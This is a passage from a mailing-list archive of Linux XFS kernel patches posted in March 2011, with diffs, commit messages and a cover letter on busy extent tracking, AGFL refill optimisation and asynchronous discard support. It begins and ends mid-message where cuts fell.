/* free extent at end of routine */ xfs_bmbt_rec_host_t *ep; /* current extent entry pointer */ int error; /* error return value */ - int flags; /* inode logging flags */ xfs_bmbt_irec_t got; /* current extent entry */ xfs_fileoff_t got_endoff; /* first offset past got */ int i; /* temp state */ @@ -2861,12 +2843,17 @@ xfs_bmap_del_extent( uint qfield; /* quota field to update */ xfs_filblks_t temp; /* for indirect length calculations */ xfs_filblks_t temp2; /* for indirect length calculations */ - int state = 0; + int state, whichfork; XFS_STATS_INC(xs_del_exlist); - if (whichfork == XFS_ATTR_FORK) - state |= BMAP_ATTRFORK; + if (flags & XFS_BMAPI_ATTRFORK) { + whichfork = XFS_ATTR_FORK; + state = BMAP_ATTRFORK; + } else { + whichfork = XFS_DATA_FORK; + state = 0; + } mp = ip->i_mount; ifp = XFS_IFORK_PTR(ip, whichfork); @@ -3121,9 +3108,13 @@ xfs_bmap_del_extent( /* * If we need to, add to list of extents to delete. */ - if (do_fx) - xfs_bmap_add_free(del->br_startblock, del->br_blockcount, flist, - mp); + if (do_fx) { + xfs_bmap_add_free(mp, flist, del->br_startblock, + del->br_blockcount, + (flags & XFS_BMAPI_METADATA) ? 0 : + XFS_BFI_USERDATA); + } + /* * Adjust inode # blocks in the file. */ @@ -3142,7 +3133,9 @@ xfs_bmap_del_extent( ASSERT(da_old >= da_new); if (da_old > da_new) { xfs_icsb_modify_counters(mp, XFS_SBS_FDBLOCKS, - (int64_t)(da_old - da_new), rsvd); + (int64_t)(da_old - da_new), + !!(flags & XFS_BMAPI_RSVBLOCKS)); + } done: *logflagsp = flags; @@ -3723,10 +3716,11 @@ error0: /* ARGSUSED */ void xfs_bmap_add_free( + struct xfs_mount *mp, /* mount point structure */ + struct xfs_bmap_free *flist, /* list of extents */ xfs_fsblock_t bno, /* fs block number of extent */ xfs_filblks_t len, /* length of extent */ - xfs_bmap_free_t *flist, /* list of extents */ - xfs_mount_t *mp) /* mount point structure */ + unsigned int flags) { xfs_bmap_free_item_t *cur; /* current (next) element */ xfs_bmap_free_item_t *new; /* new element */ @@ -3750,6 +3744,7 @@ xfs_bmap_add_free( new = kmem_zone_alloc(xfs_bmap_free_item_zone, KM_SLEEP); new->xbfi_startblock = bno; new->xbfi_blockcount = (xfs_extlen_t)len; + new->xbfi_flags = XFS_BFI_USERDATA; for (prev = NULL, cur = flist->xbf_first; cur != NULL; prev = cur, cur = cur->xbfi_next) { @@ -3883,8 +3878,11 @@ xfs_bmap_finish( efd = xfs_trans_get_efd(ntp, efi, flist->xbf_count); for (free = flist->xbf_first; free != NULL; free = next) { next = free->xbfi_next; - if ((error = xfs_free_extent(ntp, free->xbfi_startblock, - free->xbfi_blockcount))) { + + error = xfs_free_extent(ntp, free->xbfi_startblock, + free->xbfi_blockcount, + !!(free->xbfi_flags & XFS_BFI_USERDATA)); + if (error) { /* * The bmap free list will be cleaned up at a * higher level. The EFI will be canceled when @@ -5278,7 +5276,7 @@ xfs_bunmapi( goto error0; } error = xfs_bmap_del_extent(ip, tp, lastx, flist, cur, &del, - &tmp_logflags, whichfork, rsvd); + &tmp_logflags, flags); logflags |= tmp_logflags; if (error) goto error0; Index: xfs/fs/xfs/xfs_bmap.h =================================================================== --- xfs.orig/fs/xfs/xfs_bmap.h 2011-03-21 14:48:04.000000000 +0100 +++ xfs/fs/xfs/xfs_bmap.h 2011-03-21 14:49:21.953974825 +0100 @@ -35,6 +35,8 @@ typedef struct xfs_bmap_free_item { xfs_fsblock_t xbfi_startblock;/* starting fs block number */ xfs_extlen_t xbfi_blockcount;/* number of blocks in extent */ + unsigned int xbfi_flags; +#define XFS_BFI_USERDATA 0x01 /* userdata extent */ struct xfs_bmap_free_item *xbfi_next; /* link to next entry */ } xfs_bmap_free_item_t; @@ -188,10 +190,11 @@ xfs_bmap_add_attrfork( */ void xfs_bmap_add_free( + struct xfs_mount *mp, /* mount point structure */ + struct xfs_bmap_free *flist, /* list of extents */ xfs_fsblock_t bno, /* fs block number of extent */ xfs_filblks_t len, /* length of extent */ - xfs_bmap_free_t *flist, /* list of extents */ - struct xfs_mount *mp); /* mount point structure */ + unsigned int flags); /* * Routine to clean up the free list data structure when Index: xfs/fs/xfs/xfs_bmap_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap_btree.c 2011-03-21 14:48:04.000000000 +0100 +++ xfs/fs/xfs/xfs_bmap_btree.c 2011-03-21 14:49:21.957973331 +0100 @@ -598,7 +598,7 @@ xfs_bmbt_free_block( struct xfs_trans *tp = cur->bc_tp; xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); - xfs_bmap_add_free(fsbno, 1, cur->bc_private.b.flist, mp); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, fsbno, 1, 0); ip->i_d.di_nblocks--; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); Index: xfs/fs/xfs/xfs_fsops.c =================================================================== --- xfs.orig/fs/xfs/xfs_fsops.c 2011-03-21 14:48:04.000000000 +0100 +++ xfs/fs/xfs/xfs_fsops.c 2011-03-21 14:49:21.961974307 +0100 @@ -344,7 +344,7 @@ xfs_growfs_data_private( * Free the new space. */ error = xfs_free_extent(tp, XFS_AGB_TO_FSB(mp, agno, - be32_to_cpu(agf->agf_length) - new), new); + be32_to_cpu(agf->agf_length) - new), new, false); if (error) { goto error0; } Index: xfs/fs/xfs/xfs_ialloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_ialloc.c 2011-03-21 14:48:04.000000000 +0100 +++ xfs/fs/xfs/xfs_ialloc.c 2011-03-21 14:49:21.965975280 +0100 @@ -1154,9 +1154,10 @@ xfs_difree( goto error0; } - xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, - agno, XFS_INO_TO_AGBNO(mp,rec.ir_startino)), - XFS_IALLOC_BLOCKS(mp), flist, mp); + xfs_bmap_add_free(mp, flist, + XFS_AGB_TO_FSB(mp, agno, + XFS_INO_TO_AGBNO(mp,rec.ir_startino)), + XFS_IALLOC_BLOCKS(mp), 0); } else { *delete = 0; Index: xfs/fs/xfs/xfs_ialloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_ialloc_btree.c 2011-03-21 14:48:04.000000000 +0100 +++ xfs/fs/xfs/xfs_ialloc_btree.c 2011-03-21 14:49:21.973975583 +0100 @@ -117,7 +117,7 @@ xfs_inobt_free_block( int error; fsbno = XFS_DADDR_TO_FSB(cur->bc_mp, XFS_BUF_ADDR(bp)); - error = xfs_free_extent(cur->bc_tp, fsbno, 1); + error = xfs_free_extent(cur->bc_tp, fsbno, 1, false); if (error) return error; Index: xfs/fs/xfs/xfs_log_recover.c =================================================================== --- xfs.orig/fs/xfs/xfs_log_recover.c 2011-03-21 14:48:04.000000000 +0100 +++ xfs/fs/xfs/xfs_log_recover.c 2011-03-21 14:49:21.973975583 +0100 @@ -2907,8 +2907,9 @@ xlog_recover_process_efi( efdp = xfs_trans_get_efd(tp, efip, efip->efi_format.efi_nextents); for (i = 0; i < efip->efi_format.efi_nextents; i++) { - extp = &(efip->efi_format.efi_extents[i]); - error = xfs_free_extent(tp, extp->ext_start, extp->ext_len); + extp = &efip->efi_format.efi_extents[i]; + error = xfs_free_extent(tp, extp->ext_start, extp->ext_len, + false); if (error) goto abort_error; xfs_trans_log_efd_extent(tp, efdp, extp->ext_start, From BATV+edf2b39a3bdd6c185cb6+2767+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 22 14:58:49 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64, LOCAL_GNU_PATCH autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MJwcer046888 for ; Tue, 22 Mar 2011 14:58:49 -0500 X-ASG-Debug-ID: 1300824098-446b026f0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id ED5EE159C015 for ; Tue, 22 Mar 2011 13:01:38 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id ocwHkwFtSQEwFI5f for ; Tue, 22 Mar 2011 13:01:38 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q27lq-0000su-82 for xfs@oss.sgi.com; Tue, 22 Mar 2011 20:01:38 +0000 Message-Id: <20110322200138.216042448@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Tue, 22 Mar 2011 15:55:56 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 6/6] xfs: make discard operations asynchronous Subject: [PATCH 6/6] xfs: make discard operations asynchronous References: <20110322195550.260682574@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-async-discard-v2 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300824098 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Instead of waiting for each discard request keep the CIL context alive until all of them are done, at which point we can tear it down completly and remove the busy extents from the rbtree. At this point I'm doing the I/O completion from IRQ context for simplicity, but I'll benchmark it against a version that uses a workqueue. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/linux-2.6/xfs_discard.c =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.c 2011-03-22 15:58:10.301855813 +0100 +++ xfs/fs/xfs/linux-2.6/xfs_discard.c 2011-03-22 18:39:09.000000000 +0100 @@ -30,6 +30,7 @@ #include "xfs_inode.h" #include "xfs_alloc.h" #include "xfs_error.h" +#include "xfs_log_priv.h" #include "xfs_discard.h" #include "xfs_trace.h" @@ -192,37 +193,119 @@ xfs_ioc_trim( return 0; } +void +xfs_cil_discard_done( + struct xfs_cil_ctx *ctx) +{ + if (atomic_dec_and_test(&ctx->discards)) { + struct xfs_busy_extent *busyp, *n; + + list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) + xfs_alloc_busy_clear(ctx->cil->xc_log->l_mp, busyp); + kmem_free(ctx); + } +} + +STATIC void +xfs_discard_end_io( + struct bio *bio, + int err) +{ + struct xfs_cil_ctx *ctx = bio->bi_private; + + if (err && err != -EOPNOTSUPP) { + xfs_info(ctx->cil->xc_log->l_mp, + "I/O error during discard\n"); + } + + bio_put(bio); + xfs_cil_discard_done(ctx); +} + +static int +xfs_issue_discard( + struct block_device *bdev, + sector_t sector, + sector_t nr_sects, + gfp_t gfp_mask, + struct xfs_cil_ctx *ctx) +{ + struct request_queue *q = bdev_get_queue(bdev); + unsigned int max_discard_sectors; + struct bio *bio; + int ret = 0; + + if (!q) + return -ENXIO; + + if (!blk_queue_discard(q)) + return -EOPNOTSUPP; + + /* + * Ensure that max_discard_sectors is of the proper + * granularity + */ + max_discard_sectors = min(q->limits.max_discard_sectors, UINT_MAX >> 9); + if (q->limits.discard_granularity) { + unsigned int disc_sects = q->limits.discard_granularity >> 9; + + max_discard_sectors &= ~(disc_sects - 1); + } + + + while (nr_sects && !ret) { + bio = bio_alloc(gfp_mask, 1); + if (!bio) { + ret = -ENOMEM; + break; + } + + bio->bi_sector = sector; + bio->bi_end_io = xfs_discard_end_io; + bio->bi_bdev = bdev; + bio->bi_private = ctx; + + if (nr_sects > max_discard_sectors) { + bio->bi_size = max_discard_sectors << 9; + nr_sects -= max_discard_sectors; + sector += max_discard_sectors; + } else { + bio->bi_size = nr_sects << 9; + nr_sects = 0; + } + + atomic_inc(&ctx->discards); + submit_bio(REQ_WRITE | REQ_DISCARD, bio); + } + + return ret; +} + int xfs_discard_extent( struct xfs_mount *mp, - struct xfs_busy_extent *busyp) + struct xfs_busy_extent *busyp, + struct xfs_cil_ctx *ctx) { struct xfs_perag *pag; - int error = 0; xfs_daddr_t bno; int64_t len; bool done = false; - if ((mp->m_flags & XFS_MOUNT_DISCARD) == 0) - return 0; - bno = XFS_AGB_TO_DADDR(mp, busyp->agno, busyp->bno); len = XFS_FSB_TO_BB(mp, busyp->length); pag = xfs_perag_get(mp, busyp->agno); - spin_lock(&pag->pagb_lock); + spin_lock_irq(&pag->pagb_lock); if (!busyp->length) done = true; busyp->flags = XFS_ALLOC_BUSY_DISCARDED; - spin_unlock(&pag->pagb_lock); + spin_unlock_irq(&pag->pagb_lock); xfs_perag_put(pag); if (done) return 0; - error = -blkdev_issue_discard(mp->m_ddev_targp->bt_bdev, bno, len, - GFP_NOFS, 0); - if (error && error != EOPNOTSUPP) - xfs_info(mp, "discard failed, error %d", error); - return error; + return -xfs_issue_discard(mp->m_ddev_targp->bt_bdev, + bno, len, GFP_NOFS, ctx); } Index: xfs/fs/xfs/linux-2.6/xfs_discard.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.h 2011-03-22 15:58:10.313857879 +0100 +++ xfs/fs/xfs/linux-2.6/xfs_discard.h 2011-03-22 18:39:09.000000000 +0100 @@ -3,10 +3,13 @@ struct fstrim_range; struct xfs_busy_extent; +struct xfs_cil_ctx; extern int xfs_ioc_trim(struct xfs_mount *, struct fstrim_range __user *); extern int xfs_discard_extent(struct xfs_mount *, - struct xfs_busy_extent *); + struct xfs_busy_extent *, + struct xfs_cil_ctx *); +extern void xfs_cil_discard_done(struct xfs_cil_ctx *ctx); #endif /* XFS_DISCARD_H */ Index: xfs/fs/xfs/xfs_log_cil.c =================================================================== --- xfs.orig/fs/xfs/xfs_log_cil.c 2011-03-22 15:58:10.329855977 +0100 +++ xfs/fs/xfs/xfs_log_cil.c 2011-03-22 18:39:09.000000000 +0100 @@ -68,6 +68,7 @@ xlog_cil_init( INIT_LIST_HEAD(&ctx->busy_extents); ctx->sequence = 1; ctx->cil = cil; + atomic_set(&ctx->discards, 1); cil->xc_ctx = ctx; cil->xc_current_sequence = ctx->sequence; @@ -364,14 +365,18 @@ xlog_cil_committed( struct xfs_cil_ctx *ctx = args; struct xfs_mount *mp = ctx->cil->xc_log->l_mp; struct xfs_busy_extent *busyp, *n; + bool keep_alive = false; xfs_trans_committed_bulk(ctx->cil->xc_log->l_ailp, ctx->lv_chain, ctx->start_lsn, abort); - list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) { - if (!abort) - xfs_discard_extent(mp, busyp); - xfs_alloc_busy_clear(mp, busyp); + if (!(mp->m_flags & XFS_MOUNT_DISCARD) || abort) { + list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) + xfs_alloc_busy_clear(mp, busyp); + } else if (!list_empty(&ctx->busy_extents)) { + list_for_each_entry(busyp, &ctx->busy_extents, list) + xfs_discard_extent(mp, busyp, ctx); + keep_alive = true; } spin_lock(&ctx->cil->xc_cil_lock); @@ -379,7 +384,10 @@ xlog_cil_committed( spin_unlock(&ctx->cil->xc_cil_lock); xlog_cil_free_logvec(ctx->lv_chain); - kmem_free(ctx); + if (keep_alive) + xfs_cil_discard_done(ctx); + else + kmem_free(ctx); } /* @@ -490,6 +498,7 @@ xlog_cil_push( INIT_LIST_HEAD(&new_ctx->busy_extents); new_ctx->sequence = ctx->sequence + 1; new_ctx->cil = cil; + atomic_set(&ctx->discards, 1); cil->xc_ctx = new_ctx; /* Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-22 18:39:05.173855849 +0100 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-22 18:39:09.000000000 +0100 @@ -2498,7 +2498,7 @@ xfs_alloc_busy_insert( trace_xfs_alloc_busy(tp, agno, bno, len, 0); pag = xfs_perag_get(tp->t_mountp, new->agno); - spin_lock(&pag->pagb_lock); + spin_lock_irq(&pag->pagb_lock); rbp = &pag->pagb_tree.rb_node; while (*rbp) { parent = *rbp; @@ -2521,7 +2521,7 @@ xfs_alloc_busy_insert( rb_insert_color(&new->rb_node, &pag->pagb_tree); list_add(&new->list, &tp->t_busy); - spin_unlock(&pag->pagb_lock); + spin_unlock_irq(&pag->pagb_lock); xfs_perag_put(pag); } @@ -2547,7 +2547,7 @@ xfs_alloc_busy_search( int match = 0; pag = xfs_perag_get(mp, agno); - spin_lock(&pag->pagb_lock); + spin_lock_irq(&pag->pagb_lock); rbp = pag->pagb_tree.rb_node; @@ -2570,7 +2570,7 @@ xfs_alloc_busy_search( break; } } - spin_unlock(&pag->pagb_lock); + spin_unlock_irq(&pag->pagb_lock); trace_xfs_alloc_busysearch(mp, agno, bno, len, !!match); xfs_perag_put(pag); return match; @@ -2706,7 +2706,7 @@ xfs_alloc_busy_reuse( pag = xfs_perag_get(tp->t_mountp, agno); restart: - spin_lock(&pag->pagb_lock); + spin_lock_irq(&pag->pagb_lock); rbp = pag->pagb_tree.rb_node; while (rbp) { struct xfs_busy_extent *busyp = @@ -2727,7 +2727,7 @@ restart: overlap = xfs_alloc_busy_try_reuse(pag, busyp, fbno, fbno + flen); if (overlap == -1 || (overlap && userdata)) { - spin_unlock(&pag->pagb_lock); + spin_unlock_irq(&pag->pagb_lock); xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); goto restart; } @@ -2743,7 +2743,7 @@ restart: else rbp = rbp->rb_right; } - spin_unlock(&pag->pagb_lock); + spin_unlock_irq(&pag->pagb_lock); xfs_perag_put(pag); } @@ -2764,7 +2764,7 @@ xfs_alloc_busy_trim( ASSERT(flen > 0); restart: - spin_lock(&args->pag->pagb_lock); + spin_lock_irq(&args->pag->pagb_lock); rbp = args->pag->pagb_tree.rb_node; while (rbp && flen >= args->minlen) { struct xfs_busy_extent *busyp = @@ -2789,7 +2789,7 @@ restart: overlap = xfs_alloc_busy_try_reuse(args->pag, busyp, fbno, fbno + flen); if (unlikely(overlap == -1)) { - spin_unlock(&args->pag->pagb_lock); + spin_unlock_irq(&args->pag->pagb_lock); xfs_log_force(args->mp, XFS_LOG_SYNC); goto restart; } @@ -2935,7 +2935,7 @@ restart: flen = fend - fbno; } out: - spin_unlock(&args->pag->pagb_lock); + spin_unlock_irq(&args->pag->pagb_lock); *rbno = fbno; *rlen = flen; return; @@ -2944,7 +2944,7 @@ fail: * Return a zero extent length as failure indications. All callers * re-check if the trimmed extent satisfies the minlen requirement. */ - spin_unlock(&args->pag->pagb_lock); + spin_unlock_irq(&args->pag->pagb_lock); *rbno = fbno; *rlen = 0; } @@ -2955,6 +2955,7 @@ xfs_alloc_busy_clear( struct xfs_busy_extent *busyp) { struct xfs_perag *pag; + unsigned long flags; trace_xfs_alloc_unbusy(mp, busyp->agno, busyp->bno, busyp->length); @@ -2962,10 +2963,10 @@ xfs_alloc_busy_clear( list_del_init(&busyp->list); pag = xfs_perag_get(mp, busyp->agno); - spin_lock(&pag->pagb_lock); + spin_lock_irqsave(&pag->pagb_lock, flags); if (busyp->length) rb_erase(&busyp->rb_node, &pag->pagb_tree); - spin_unlock(&pag->pagb_lock); + spin_unlock_irqrestore(&pag->pagb_lock, flags); xfs_perag_put(pag); kmem_free(busyp); Index: xfs/fs/xfs/xfs_log_priv.h =================================================================== --- xfs.orig/fs/xfs/xfs_log_priv.h 2011-03-22 18:39:05.229883275 +0100 +++ xfs/fs/xfs/xfs_log_priv.h 2011-03-22 18:39:09.000000000 +0100 @@ -389,6 +389,7 @@ struct xfs_cil_ctx { struct xfs_log_vec *lv_chain; /* logvecs being pushed */ xfs_log_callback_t log_cb; /* completion callback hook. */ struct list_head committing; /* ctx committing list */ + atomic_t discards; /* no. of pending discards */ }; /* From BATV+edf2b39a3bdd6c185cb6+2767+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 22 14:58:57 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_44, J_CHICKENPOX_45 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2MJwlKB046897 for ; Tue, 22 Mar 2011 14:58:57 -0500 X-ASG-Debug-ID: 1300824097-1aa602220000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id F3F8313FE44E for ; Tue, 22 Mar 2011 13:01:37 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id qB7iPqELO0GjDOhF for ; Tue, 22 Mar 2011 13:01:37 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q27lp-0000qK-A5 for xfs@oss.sgi.com; Tue, 22 Mar 2011 20:01:37 +0000 Message-Id: <20110322200137.280301318@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Tue, 22 Mar 2011 15:55:51 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 1/6] xfs: optimize AGFL refills Subject: [PATCH 1/6] xfs: optimize AGFL refills References: <20110322195550.260682574@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-optimize-freelist-refills X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300824108 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Avoid forcing out busy extent when moving blocks from/to the AGFL. We archive this my moving the busy search out of xfs_alloc_get_freelist into the callers that need it, and by moving the busy list insert from xfs_free_ag_extent extent which is used both by AGFL refills and real allocation to xfs_free_extent, which is only used by the latter. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-19 16:49:23.774797370 +0100 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-19 16:49:38.882797272 +0100 @@ -1326,6 +1326,8 @@ xfs_alloc_ag_vextent_small( if (error) goto error0; if (fbno != NULLAGBLOCK) { + if (xfs_alloc_busy_search(args->mp, args->agno, fbno, 1)) + xfs_trans_set_sync(args->tp); if (args->userdata) { xfs_buf_t *bp; @@ -1617,18 +1619,6 @@ xfs_free_ag_extent( trace_xfs_free_extent(mp, agno, bno, len, isfl, haveleft, haveright); - /* - * Since blocks move to the free list without the coordination - * used in xfs_bmap_finish, we can't allow block to be available - * for reallocation and non-transaction writing (user data) - * until we know that the transaction that moved it to the free - * list is permanently on disk. We track the blocks by declaring - * these blocks as "busy"; the busy list is maintained on a per-ag - * basis and each transaction records which entries should be removed - * when the iclog commits to disk. If a busy block is allocated, - * the iclog is pushed up to the LSN that freed the block. - */ - xfs_alloc_busy_insert(tp, agno, bno, len); return 0; error0: @@ -1923,21 +1913,6 @@ xfs_alloc_get_freelist( xfs_alloc_log_agf(tp, agbp, logflags); *bnop = bno; - /* - * As blocks are freed, they are added to the per-ag busy list and - * remain there until the freeing transaction is committed to disk. - * Now that we have allocated blocks, this list must be searched to see - * if a block is being reused. If one is, then the freeing transaction - * must be pushed to disk before this transaction. - * - * We do this by setting the current transaction to a sync transaction - * which guarantees that the freeing transaction is on disk before this - * transaction. This is done instead of a synchronous log force here so - * that we don't sit and wait with the AGF locked in the transaction - * during the log force. - */ - if (xfs_alloc_busy_search(mp, be32_to_cpu(agf->agf_seqno), bno, 1)) - xfs_trans_set_sync(tp); return 0; } @@ -2407,6 +2382,8 @@ xfs_free_extent( be32_to_cpu(XFS_BUF_TO_AGF(args.agbp)->agf_length)); #endif error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); + if (error) + xfs_alloc_busy_insert(tp, args.agno, args.agbno, len); error0: xfs_perag_put(args.pag); return error; Index: xfs/fs/xfs/xfs_alloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc_btree.c 2011-03-19 16:49:22.929299332 +0100 +++ xfs/fs/xfs/xfs_alloc_btree.c 2011-03-19 16:49:30.382841378 +0100 @@ -94,6 +94,8 @@ xfs_allocbt_alloc_block( *stat = 0; return 0; } + if (xfs_alloc_busy_search(cur->bc_mp, cur->bc_private.a.agno, bno, 1)) + xfs_trans_set_sync(cur->bc_tp); xfs_trans_agbtree_delta(cur->bc_tp, 1); new->s = cpu_to_be32(bno); From BATV+edf2b39a3bdd6c185cb6+2767+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 22 14:58:57 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2MJwlM5046896 for ; Tue, 22 Mar 2011 14:58:57 -0500 X-ASG-Debug-ID: 1300824097-1aa902220000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D1DF613FE44C for ; Tue, 22 Mar 2011 13:01:37 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id uwZVBxe3G2wvVcM3 for ; Tue, 22 Mar 2011 13:01:37 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q27lp-0000pk-4e for xfs@oss.sgi.com; Tue, 22 Mar 2011 20:01:37 +0000 Message-Id: <20110322195550.260682574@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Tue, 22 Mar 2011 15:55:50 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 0/6] [PATCH 0/6] more efficient busy extent handling and discard support Subject: [PATCH 0/6] [PATCH 0/6] more efficient busy extent handling and discard support X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300824107 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean This series updates the busy extent tracking to: a) keep exact track of busy extents b) allow reallocations where they are not a problem, that is generally everything but metadata -> userdata reallocations The result is that compilebench is around 5% faster and neither it nor any other workload I've thrown at the patchset causes a log force anymore. The second to last patch also adds discard support, which is rather trivial now that we do track the busy extents exactly. The last patch further optimizes the discard code to not stall the log state machine but execute asynchronously. This does however trigger a bug in the block layer, for the report and a workaround see: http://marc.info/?l=linux-kernel&m=130082329118907&w=2 There is a few further optimizations we can add but I haven't done yet: - do not attempt to discard blocks on the AGFL, as the chance of reuse is very high, and we can't avoid reallocating from them - on SSDs preferably reuse blocks on the busy list to avoid discards From BATV+edf2b39a3bdd6c185cb6+2767+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 22 14:58:58 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.4 required=5.0 tests=BAYES_00,J_CHICKENPOX_61, J_CHICKENPOX_64,J_CHICKENPOX_65,J_CHICKENPOX_66,J_CHICKENPOX_73 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2MJwlX2046898 for ; Tue, 22 Mar 2011 14:58:58 -0500 X-ASG-Debug-ID: 1300824097-360700220000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3E1A313FE44C for ; Tue, 22 Mar 2011 13:01:37 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 7BEuYxNURkuNgeLc for ; Tue, 22 Mar 2011 13:01:37 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q27lp-0000qq-GN for xfs@oss.sgi.com; Tue, 22 Mar 2011 20:01:37 +0000 Message-Id: <20110322200137.474878707@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Tue, 22 Mar 2011 15:55:52 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 2/6] xfs: do not immediately reuse busy extent ranges Subject: [PATCH 2/6] xfs: do not immediately reuse busy extent ranges References: <20110322195550.260682574@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-skip-busy-extents X-SRS-Rewrite: SMTP reverse-path rewritten 